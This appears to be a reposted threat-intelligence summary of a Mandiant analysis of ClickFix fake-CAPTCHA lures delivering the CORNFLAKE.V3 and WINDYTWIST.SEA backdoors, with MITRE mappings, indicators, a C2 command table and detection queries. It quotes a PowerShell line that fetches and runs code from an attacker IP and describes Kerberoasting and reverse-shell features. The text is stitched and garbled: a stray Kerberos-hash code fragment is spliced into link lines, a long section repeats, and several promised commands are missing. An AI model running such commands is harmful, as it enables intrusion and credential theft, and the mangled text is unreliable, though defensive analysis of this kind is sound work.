Keypoints
- UNC5518 compromises legitimate websites and serves ClickFix fake CAPTCHA pages that copy malicious PowerShell or script commands into victimsâ clipboards to execute via Windows Run.
- Downloader scripts from UNC5518 delivered CORNFLAKE.V3 samples (Node.js and PHP variants) attributed to UNC5774, which implements HTTP-based C2 and supports multiple payload types.
- CORNFLAKE.V3 adds persistence via HKCU Run registry entries (ChromeUpdater or random names), collects system/AD reconnaissance data, and can perform credential harvesting (Kerberoasting).
- The Node.js variant downloads and runs a Node runtime from nodejs[.]org, decodes a Base64 payload, and executes CORNFLAKE.V3 via node.exe -e; the PHP variant similarly deploys a PHP runtime from windows.php[.]net.
- Observed payloads included Active Directory enumeration scripts and a WINDYTWIST.SEA backdoor (dropped as a .png file and executed with rundll32) that provided reverse shell and forwarding capabilities.
- Network indicators included distribution/download IP 138.199.161[.]141 and C2 infrastructure such as 159.69.3[.]151 and trycloudflare-hosted domains; multiple SHA-256s and filenames were identified for dropped artifacts.
- Mandiant recommends disabling the Run dialog where possible, enhancing logging/monitoring for PowerShell/node/php execution from %APPDATA%, and using the provided hunting queries and detections.
MITRE Techniques
- [T1204] User Execution â Victims were tricked by ClickFix fake CAPTCHA pages to paste and execute a PowerShell command via the Windows Run dialog (âthe user was lured into pasting a hidden script into the Windows Run dialog box which was automatically copied to the clipboardâ).
- [T1059] Command and Scripting Interpreter â PowerShell was used to download Node.js/PHP, decode Base64 payloads, and launch CORNFLAKE.V3 (âpowershell -w h -c ⌠irm 138.199.161[.]141:8080/$u|iexâ).
- [T1105] Ingress Tool Transfer â The dropper downloaded Node.js or PHP runtimes from nodejs[.]org and windows.php[.]net to enable execution (âdownload Node.js via HTTPS from the URL hxxps://nodejs[.]org/âŚâ; âdownloads the PHP package from windows.php[.]netâ).
- [T1547.001] Boot or Logon Autostart Execution: Registry Run Keys â CORNFLAKE.V3 established persistence by creating HKCU Run entries such as ChromeUpdater or randomly named Run keys (âcreating a new registry Run key named ChromeUpdater under HKCUSoftwareMicrosoftWindowsCurrentVersionRunâ).
- [T1086] PowerShell â PowerShell was leveraged for reconnaissance, environment checks, and executing the staged download/execution workflow (âthe PowerShell dropperâs execution includes multiple steps: Check if it is running inside a virtual machine ⌠Download the Node.js zip file ⌠Base64 decode its embedded CORNFLAKE.V3 payload and executeâ).
- [T1018] Remote System Discovery â CORNFLAKE.V3 performed host and AD-based reconnaissance including ARP, systeminfo, tasklist, Get-Service, and AD queries (âgathers ⌠systeminfo ⌠tasklist /svc ⌠Get-Service ⌠arp -aâ).
- [T1555.003] Credentials from Password Stores: Kerberoasting â Attackers executed scripts to request Kerberos service tickets for accounts with SPNs and formatted hashes for offline cracking (âattempts to harvest credentials via Kerberoasting ⌠requests a Kerberos service ticket ⌠password hash is extracted and formattedâ).
- [T1203] Exploitation for Client Execution â The lure coerced users to execute client-side commands via clipboard injection on web pages, effectively exploiting user interaction to run code (âthe webpage accomplished this with the following JavaScript code ⌠the script is copied to the clipboardâ).
- [T1573] Encrypted Channel / Proxy: Cloudflare Tunnel Abuse â CORNFLAKE.V3 was observed abusing Cloudflare Tunnels to proxy traffic to remote servers (âCORNFLAKE.V3 has also been observed abusing Cloudflare Tunnels to proxy traffic to remote serversâ).
Indicators of Compromise
- [IP Address] distribution and C2 â 138.199.161[.]141 (UNC5518 distribution server), 159.69.3[.]151 (CORNFLAKE.V3 Node.js C2)
- [Domain] C2 and distribution domains â varying-rentals-calgary-predict.trycloudflare[.]com (PHP C2), dnsmicrosoftds-data[.]com and windows-msg-as[.]live (UNC5518-associated domains)
- [File Path / Filenames] dropped artifacts and persistence â %APPDATA%node-v22.11.0-win-x64ckw8ua56.log (CORNFLAKE.V3 Node.js sample, SHA256: 000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b), %APPDATA%phpconfig.cfg (CORNFLAKE.V3 PHP sample, SHA256: a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1)
- [File Hash] dropped payloads â WINDYTWIST.SEA sample SHA256: 14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c (dropped as Shift19434078G0ZrQi.png)
- [Registry] persistence keys â HKCUSoftwareMicrosoftWindowsCurrentVersionRunChromeUpdater (Node.js variant), HKCUSoftwareMicrosoftWindowsCurrentVersionRun (PHP variant)
Read more: https://cloud.google.com/blog/topics/threat-intelligence/analyzing-cornflake-v3-backdoor/ ); $n = â$krb5tgs$23$*â + $g + â/â + $h + â*
PHP Variant
Mandiant Threat Defense recently observed a new PHP-based CORNFLAKE.V3 variant which has similar functionality to the previous Node.js based iterations.
This version was dropped by an in-memory script which was executed as a result of interaction with a malicious ClickFix lure page.
The script downloads the PHP package from windows.php[.]net, writes it to disk as php.zip and extracts its contents to the C:Users<User>AppDataRoamingphp directory. The CORNFLAKE.V3 PHP sample is contained in the config.cfg file that was also dropped in the same directory and executed with the following command line arguments:
To maintain persistence on the host, this variant utilizes a registry Run key named after a randomly chosen directory in %APPDATA% or %LOCALAPPDATA% instead of the fixed ChromeUpdater string used in the Node.js version. To communicate with its C2 a unique path is generated for each request, unlike the static /init1234 path:
Much like the Node.js version, the last byte of the received payload determines the payload type, however, these values differ in the PHP version:
| Command | Type | Notes |
|---|---|---|
| 0 | EXE | This decrypted content is saved to a temporary executable file (<rand_8_char>.exe) created in a random directory within the userâs %APPDATA% folder, and executed through PowerShell as a hidden process. |
| 1 | DLL | The decrypted content is saved as a <rand_8_char>.png file in a temporary directory within the userâs %APPDATA% folder. Subsequently, rundll32.exe is invoked to execute the downloaded file. |
| 2 | JS | This decrypted content is saved as a <rand_8_char>.jpg file in a temporary directory within the userâs %APPDATA% folder. The script attempts to check if Node.js is installed. If Node.js is not found or fails to install from a hardcoded URL (http://nodejs[.]org/dist/v21.7.3/node-v21.7.3-win-x64.zip), an error message is printed. If Node.js is available, the downloaded JavaScript (.jpg) file is executed using node.exe. |
| 3 | CMD | This decrypted data is executed as a provided command string via cmd.exe or powershell.exe. |
| 4 | ACTIVE | This command reports the active_cnt (stored in the $qRunq global variable) to the C2 server. This likely serves as a heartbeat or activity metric for the implant. |
| 5 | AUTORUN | The malware attempts to establish persistence by adding a registry entry in HKCUSoftwareMicrosoftWindowsCurrentVersionRun that points to the scriptâs PHP binary and its own path. |
| 6 | OFF | This command directly calls exit(0), which terminates the PHP scriptâs execution. |
| OTHER | If none of the specific commands match, the received data is saved as a .txt file in a temporary directory within the userâs %APPDATA% folder. |
The Javascript payload execution functionality was retained by implementing the download of the Node.js runtime environment inside the JS command. Other notable changes include the change of the DLL and JS payload file extensions into .png and .jpg to evade detection and the addition of the ACTIVE and AUTORUN commands. However, the main functionality of the backdoor remains unchanged despite the transition from Node.js to PHP.
These changes suggest an ongoing effort by the threat actor to refine their malware against evolving security measures.
Executed Payloads
Active Directory Reconnaissance
A cmd.exe reconnaissance payload similar to the one encountered in the Node.js variant was received from the C2 server and executed. The script checks if the machine is part of an Active Directory domain and collects the following information using powershell:
Domain Joined
- Total count of computer accounts in AD.
- Domain trust relationships.
- List of all Domain Controllers.
- Members of the âDomain Adminsâ group.
- User accounts configured with a Service Principal Name (SPN).
- All local groups and their members
- Current User name, SID, local group memberships and security privileges
Not Domain Joined
- All local groups and their members
- Current User name, SID, local group memberships and security privileges
WINDYTWIST.SEA Backdoor
Following the interaction with its C2 server, a DLL payload (corresponding to command 1) was received, written to disk as C:Users<User>AppDataRoamingShift19434078G0ZrQi.png and executed using rundll32. This file was a WINDYTWIST.SEA backdoor implant configured with the following C2 servers:
This implant is a C version of the Java WINDYTWIST backdoor, which supports relaying TCP traffic, providing a reverse shell, executing commands, and deleting itself. In previous intrusions, Mandiant observed WINDYTWIST.SEA samples attempting to move laterally in the network of the infected machine.
The following process tree was observed during the infection:
Conclusion
This investigation highlights the collaborative nature of modern cyber threats, where UNC5518 leverages compromised websites and deceptive ClickFix lures to gain initial access. This access is then utilized by other actors like UNC5774, who deploy versatile malware such as the CORNFLAKE.V3 backdoor. The subsequent reconnaissance and credential harvesting activities we observed indicate that the attackers intend to move laterally and expand their foothold in the environment.
To mitigate malware execution through ClickFix, organizations should disable the Windows Run dialog box where possible. Regular simulation exercises are crucial to counter this and other social engineering tactics. Furthermore, robust logging and monitoring systems are essential for detecting the execution of subsequent payloads, such as those associated with CORNFLAKE.V3.
Acknowledgements
Special thanks to Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis and Rommel Joven for their valuable contributions to this blog post.
Detection Through Google Security Operations
For detailed guidance on hunting for this activity using the following queries, and for a forum to engage with our security experts, please visit our companion post on the Google Cloud Community blog.
Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity discussed in the blog post is detected in Google SecOps under the rule names:
- Powershell Executing NodeJS
- Powershell Writing To Appdata
- Suspicious Clipboard Interaction
- NodeJS Reverse Shell Execution
- Download to the Windows Public User Directory via PowerShell
- Run Utility Spawning Suspicious Process
- WSH Startup Folder LNK Creation
- Trycloudflare Tunnel Network Connections
SecOps Hunting Queries
The following UDM queries can be used to identify potential compromises within your environment.
Execution of CORNFLAKE.V3 â Node.js
Search for potential compromise activity where PowerShell is used to launch node.exe from %AppData% path with the -e argument, indicating direct execution of a malicious JavaScript string.
Execution of CORNFLAKE.V3 â PHP
Search for compromise activity where PowerShell is executing php.exe from %AppData% path. This variant is characterized by the use of the -d argument, executing a PHP script without a .php file extension, and passing the argument 1 to the PHP interpreter, indicating covert execution of malicious PHP code.
CORNFLAKE.V3 Child Process Spawns
Search suspicious process activity where cmd.exe or powershell.exe are spawned as child processes from node.exe or php.exe when those executables are located in %AppData%.
Suspicious Connections to Node.js/PHP Domains
Search unusual network connections initiated by powershell.exe or mshta.exe to legitimate Node.js (nodejs.org) or PHP (windows.php.net) infrastructure domains.
| Artifact | Description | SHA-256 Hash |
| C:Users<User>AppDataRoamingnode-v22.11.0-win-x64ckw8ua56.log | Copy of the CORNFLAKE.V3 (Node.js) sample used for persistence | 000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b |
| HKCUSoftwareMicrosoftWindowsCurrentVersionRunChromeUpdater | Scheduled task that executes the CORNFLAKE.V3 (Node.js) sample | N/A |
| C:Users<User>AppDataRoamingphpconfig.cfg | CORNFLAKE.V3 (PHP) sample | a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1 |
| HKCUSoftwareMicrosoftWindowsCurrentVersionRuniCube | Scheduled task that executes the CORNFLAKE.V3 (PHP) sample | N/A |
| C:Users<User>AppDataRoamingShift19434078G0ZrQi.png | WINDYTWIST.SEA backdoor sample dropped by CORNFLAKE.V3 (PHP) | 14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c |
Network-Based Artifacts
| IP Address | Description |
138.199.161[.]141 |
IP address associated with UNC5518 used to distribute CORNFLAKE.V3 (Node.js) malware |
159.69.3[.]151 |
CORNFLAKE.V3 (Node.js) C2 server associated with UNC5774 |
varying-rentals-calgary-predict.trycloudflare[.]com |
CORNFLAKE.V3 (PHP) C2 server associated with UNC5774 |
dnsmicrosoftds-data[.]com
|
Domains associated with UNC5518 used to distribute CORNFLAKE.V3 (PHP) malware |
167.235.235[.]151
|
WINDYTWIST.SEA backdoor C2 server addresses associated with UNC5774 |
[/hidden_content]
Read more: https://cloud.google.com/blog/topics/threat-intelligence/analyzing-cornflake-v3-backdoor/ + $m; Write â Host $n; break; } catch {}}}}}}
PHP Variant
Mandiant Threat Defense recently observed a new PHP-based CORNFLAKE.V3 variant which has similar functionality to the previous Node.js based iterations.
This version was dropped by an in-memory script which was executed as a result of interaction with a malicious ClickFix lure page.
The script downloads the PHP package from windows.php[.]net, writes it to disk as php.zip and extracts its contents to the C:Users<User>AppDataRoamingphp directory. The CORNFLAKE.V3 PHP sample is contained in the config.cfg file that was also dropped in the same directory and executed with the following command line arguments:
To maintain persistence on the host, this variant utilizes a registry Run key named after a randomly chosen directory in %APPDATA% or %LOCALAPPDATA% instead of the fixed ChromeUpdater string used in the Node.js version. To communicate with its C2 a unique path is generated for each request, unlike the static /init1234 path:
Much like the Node.js version, the last byte of the received payload determines the payload type, however, these values differ in the PHP version:
| Command | Type | Notes |
|---|---|---|
| 0 | EXE | This decrypted content is saved to a temporary executable file (<rand_8_char>.exe) created in a random directory within the userâs %APPDATA% folder, and executed through PowerShell as a hidden process. |
| 1 | DLL | The decrypted content is saved as a <rand_8_char>.png file in a temporary directory within the userâs %APPDATA% folder. Subsequently, rundll32.exe is invoked to execute the downloaded file. |
| 2 | JS | This decrypted content is saved as a <rand_8_char>.jpg file in a temporary directory within the userâs %APPDATA% folder. The script attempts to check if Node.js is installed. If Node.js is not found or fails to install from a hardcoded URL (http://nodejs[.]org/dist/v21.7.3/node-v21.7.3-win-x64.zip), an error message is printed. If Node.js is available, the downloaded JavaScript (.jpg) file is executed using node.exe. |
| 3 | CMD | This decrypted data is executed as a provided command string via cmd.exe or powershell.exe. |
| 4 | ACTIVE | This command reports the active_cnt (stored in the $qRunq global variable) to the C2 server. This likely serves as a heartbeat or activity metric for the implant. |
| 5 | AUTORUN | The malware attempts to establish persistence by adding a registry entry in HKCUSoftwareMicrosoftWindowsCurrentVersionRun that points to the scriptâs PHP binary and its own path. |
| 6 | OFF | This command directly calls exit(0), which terminates the PHP scriptâs execution. |
| OTHER | If none of the specific commands match, the received data is saved as a .txt file in a temporary directory within the userâs %APPDATA% folder. |
The Javascript payload execution functionality was retained by implementing the download of the Node.js runtime environment inside the JS command. Other notable changes include the change of the DLL and JS payload file extensions into .png and .jpg to evade detection and the addition of the ACTIVE and AUTORUN commands. However, the main functionality of the backdoor remains unchanged despite the transition from Node.js to PHP.
These changes suggest an ongoing effort by the threat actor to refine their malware against evolving security measures.
Executed Payloads
Active Directory Reconnaissance
A cmd.exe reconnaissance payload similar to the one encountered in the Node.js variant was received from the C2 server and executed. The script checks if the machine is part of an Active Directory domain and collects the following information using powershell:
Domain Joined
- Total count of computer accounts in AD.
- Domain trust relationships.
- List of all Domain Controllers.
- Members of the âDomain Adminsâ group.
- User accounts configured with a Service Principal Name (SPN).
- All local groups and their members
- Current User name, SID, local group memberships and security privileges
Not Domain Joined
- All local groups and their members
- Current User name, SID, local group memberships and security privileges
WINDYTWIST.SEA Backdoor
Following the interaction with its C2 server, a DLL payload (corresponding to command 1) was received, written to disk as C:Users<User>AppDataRoamingShift19434078G0ZrQi.png and executed using rundll32. This file was a WINDYTWIST.SEA backdoor implant configured with the following C2 servers:
This implant is a C version of the Java WINDYTWIST backdoor, which supports relaying TCP traffic, providing a reverse shell, executing commands, and deleting itself. In previous intrusions, Mandiant observed WINDYTWIST.SEA samples attempting to move laterally in the network of the infected machine.
The following process tree was observed during the infection:
Conclusion
This investigation highlights the collaborative nature of modern cyber threats, where UNC5518 leverages compromised websites and deceptive ClickFix lures to gain initial access. This access is then utilized by other actors like UNC5774, who deploy versatile malware such as the CORNFLAKE.V3 backdoor. The subsequent reconnaissance and credential harvesting activities we observed indicate that the attackers intend to move laterally and expand their foothold in the environment.
To mitigate malware execution through ClickFix, organizations should disable the Windows Run dialog box where possible. Regular simulation exercises are crucial to counter this and other social engineering tactics. Furthermore, robust logging and monitoring systems are essential for detecting the execution of subsequent payloads, such as those associated with CORNFLAKE.V3.
Acknowledgements
Special thanks to Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis and Rommel Joven for their valuable contributions to this blog post.
Detection Through Google Security Operations
For detailed guidance on hunting for this activity using the following queries, and for a forum to engage with our security experts, please visit our companion post on the Google Cloud Community blog.
Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity discussed in the blog post is detected in Google SecOps under the rule names:
- Powershell Executing NodeJS
- Powershell Writing To Appdata
- Suspicious Clipboard Interaction
- NodeJS Reverse Shell Execution
- Download to the Windows Public User Directory via PowerShell
- Run Utility Spawning Suspicious Process
- WSH Startup Folder LNK Creation
- Trycloudflare Tunnel Network Connections
SecOps Hunting Queries
The following UDM queries can be used to identify potential compromises within your environment.
Execution of CORNFLAKE.V3 â Node.js
Search for potential compromise activity where PowerShell is used to launch node.exe from %AppData% path with the -e argument, indicating direct execution of a malicious JavaScript string.
Execution of CORNFLAKE.V3 â PHP
Search for compromise activity where PowerShell is executing php.exe from %AppData% path. This variant is characterized by the use of the -d argument, executing a PHP script without a .php file extension, and passing the argument 1 to the PHP interpreter, indicating covert execution of malicious PHP code.
CORNFLAKE.V3 Child Process Spawns
Search suspicious process activity where cmd.exe or powershell.exe are spawned as child processes from node.exe or php.exe when those executables are located in %AppData%.
Suspicious Connections to Node.js/PHP Domains
Search unusual network connections initiated by powershell.exe or mshta.exe to legitimate Node.js (nodejs.org) or PHP (windows.php.net) infrastructure domains.
| Artifact | Description | SHA-256 Hash |
| C:Users<User>AppDataRoamingnode-v22.11.0-win-x64ckw8ua56.log | Copy of the CORNFLAKE.V3 (Node.js) sample used for persistence | 000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b |
| HKCUSoftwareMicrosoftWindowsCurrentVersionRunChromeUpdater | Scheduled task that executes the CORNFLAKE.V3 (Node.js) sample | N/A |
| C:Users<User>AppDataRoamingphpconfig.cfg | CORNFLAKE.V3 (PHP) sample | a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1 |
| HKCUSoftwareMicrosoftWindowsCurrentVersionRuniCube | Scheduled task that executes the CORNFLAKE.V3 (PHP) sample | N/A |
| C:Users<User>AppDataRoamingShift19434078G0ZrQi.png | WINDYTWIST.SEA backdoor sample dropped by CORNFLAKE.V3 (PHP) | 14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c |
Network-Based Artifacts
| IP Address | Description |
138.199.161[.]141 |
IP address associated with UNC5518 used to distribute CORNFLAKE.V3 (Node.js) malware |
159.69.3[.]151 |
CORNFLAKE.V3 (Node.js) C2 server associated with UNC5774 |
varying-rentals-calgary-predict.trycloudflare[.]com |
CORNFLAKE.V3 (PHP) C2 server associated with UNC5774 |
dnsmicrosoftds-data[.]com
|
Domains associated with UNC5518 used to distribute CORNFLAKE.V3 (PHP) malware |
167.235.235[.]151
|
WINDYTWIST.SEA backdoor C2 server addresses associated with UNC5774 |
[/hidden_content]
Read more: https://cloud.google.com/blog/topics/threat-intelligence/analyzing-cornflake-v3-backdoor/